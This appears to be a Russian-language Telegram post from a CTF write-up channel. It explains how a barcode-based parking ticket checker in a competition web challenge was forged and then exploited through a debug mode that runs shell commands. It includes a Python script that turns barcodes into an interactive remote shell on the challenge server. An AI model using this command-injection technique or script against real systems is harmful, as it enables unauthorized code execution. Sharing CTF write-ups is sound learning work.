Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#web #debug #tctf2025
Капипаркинг

Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть -  дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%"  и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json

# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
    Code39 = get_barcode_class('code39')
    code39 = Code39(code_text, writer=ImageWriter())

    buffer = BytesIO()
    code39.write(buffer, options={'format': 'PNG'})
    buffer.seek(0)

    return buffer

# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
    files = {
        'image': (filename, image_buffer, 'image/png')
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
        "Origin": "https://t-parking-0a2zxpo1.spbctf.org",
        "Accept": "*/*"
    }

    cookies = {
        "__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
    }

    response = requests.post(
        "https://t-parking-0a2zxpo1.spbctf.org/scan",
        files=files,
        headers=headers,
        cookies=cookies
    )

    return response.text

# --- Запуск ---
if __name__ == "__main__":

    while True:
        code = "9%BABAN123%202504191104%"
        command = input("> ")
        # code = code.replace(" ", "")  # Убираем пробелы
        code += command + "%"
        filename = "barcode.png"      # Имя файла только для запроса

        img = generate_barcode(code)

        response = send_barcode_image(img, filename)

        try:
            json_data = json.loads(response)
            parking_fee = json_data.get("parking_fee", "")
            if parking_fee is not None:
                parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
            pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
            print(parking_fee_cleaned)
        except json.JSONDecodeError:
            print("[!] Ответ не является JSON:")
            print(response)


Автор: @Evgeniy12337382

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4🫡21🥴1🤨1